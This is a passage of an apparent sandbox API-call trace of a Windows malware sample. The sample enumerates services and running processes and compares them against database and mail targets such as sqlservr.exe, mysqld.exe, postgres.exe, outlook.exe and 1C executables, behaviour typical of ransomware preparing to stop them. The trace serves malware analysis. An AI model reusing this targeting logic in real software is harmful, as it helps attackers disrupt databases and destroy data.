(lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.048] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.048] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.048] lstrlenW (lpString="nsi") returned 3 [0147.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.048] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.048] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.048] lstrlenW (lpString="PcaSvc") returned 6 [0147.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.049] lstrlenW (lpString="PlugPlay") returned 8 [0147.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.049] lstrlenW (lpString="Power") returned 5 [0147.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.049] lstrlenW (lpString="ProfSvc") returned 7 [0147.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.049] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.049] lstrlenW (lpString="RpcSs") returned 5 [0147.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.049] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.049] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.050] lstrlenW (lpString="SamSs") returned 5 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.050] lstrlenW (lpString="Schedule") returned 8 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.050] lstrlenW (lpString="SENS") returned 4 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.050] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.050] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.050] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.050] lstrlenW (lpString="Spooler") returned 7 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.050] lstrlenW (lpString="SysMain") returned 7 [0147.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.050] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.051] lstrlenW (lpString="Themes") returned 6 [0147.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.051] lstrlenW (lpString="TrkWks") returned 6 [0147.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0147.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0147.051] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0147.051] lstrlenW (lpString="UxSms") returned 5 [0147.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0147.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0147.051] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0147.051] lstrlenW (lpString="WdiServiceHost") returned 14 [0147.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.051] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0147.051] lstrlenW (lpString="WdiSystemHost") returned 13 [0147.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.051] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0147.051] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0147.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0147.051] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0147.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0147.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0147.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0147.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0147.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0147.052] lstrlenW (lpString="Winmgmt") returned 7 [0147.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0147.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0147.052] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0147.052] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0147.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0147.052] lstrlenW (lpString="WPDBusEnum") returned 10 [0147.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.052] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0147.052] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0147.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0147.052] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687370 | out: hHeap=0x630000) returned 1 [0147.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0147.054] Process32FirstW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.055] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.055] lstrlenW (lpString="System") returned 6 [0147.055] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0147.055] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0147.055] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.056] lstrlenW (lpString="smss.exe") returned 8 [0147.056] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0147.056] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.056] lstrlenW (lpString="csrss.exe") returned 9 [0147.056] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.056] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.056] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.056] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.056] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.056] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.056] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.057] lstrlenW (lpString="wininit.exe") returned 11 [0147.057] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0147.057] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0147.057] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.057] lstrlenW (lpString="csrss.exe") returned 9 [0147.057] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.057] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.057] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.058] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.058] lstrlenW (lpString="winlogon.exe") returned 12 [0147.058] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0147.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0147.058] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0147.058] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0147.058] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.058] lstrlenW (lpString="services.exe") returned 12 [0147.059] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.059] lstrlenW (lpString="lsass.exe") returned 9 [0147.059] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0147.059] lstrlenW (lpString="lsm.exe") returned 7 [0147.059] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.060] lstrlenW (lpString="svchost.exe") returned 11 [0147.060] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.060] lstrlenW (lpString="svchost.exe") returned 11 [0147.060] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.060] lstrlenW (lpString="svchost.exe") returned 11 [0147.060] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.061] lstrlenW (lpString="svchost.exe") returned 11 [0147.061] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.061] lstrlenW (lpString="svchost.exe") returned 11 [0147.061] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.061] lstrlenW (lpString="audiodg.exe") returned 11 [0147.061] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.062] lstrlenW (lpString="svchost.exe") returned 11 [0147.062] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0147.062] lstrlenW (lpString="userinit.exe") returned 12 [0147.062] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0147.062] lstrlenW (lpString="explorer.exe") returned 12 [0147.062] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.063] lstrlenW (lpString="dwm.exe") returned 7 [0147.063] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.063] lstrlenW (lpString="svchost.exe") returned 11 [0147.063] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0147.063] lstrlenW (lpString="n.exe") returned 5 [0147.063] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.064] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.064] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.064] lstrlenW (lpString="svchost.exe") returned 11 [0147.064] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0147.065] lstrlenW (lpString="taskhost.exe") returned 12 [0147.065] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0147.065] lstrlenW (lpString="reader_sl.exe") returned 13 [0147.065] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0147.065] lstrlenW (lpString="rundll32.exe") returned 12 [0147.065] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.066] lstrlenW (lpString="dllhost.exe") returned 11 [0147.066] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0147.066] lstrlenW (lpString="dinotify.exe") returned 12 [0147.066] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0147.066] lstrlenW (lpString="n.exe") returned 5 [0147.066] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.067] lstrlenW (lpString="cmd.exe") returned 7 [0147.067] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.067] lstrlenW (lpString="conhost.exe") returned 11 [0147.067] Process32NextW (in: hSnapshot=0x114, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0147.067] CloseHandle (hObject=0x114) returned 1 [0147.067] Sleep (dwMilliseconds=0x1f4) [0147.631] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e670 [0147.632] EnumServicesStatusExW (in: hSCManager=0x69e670, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0147.632] GetLastError () returned 0xea [0147.632] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1178) returned 0x6a5ba8 [0147.632] EnumServicesStatusExW (in: hSCManager=0x69e670, InfoLevel=0x0, 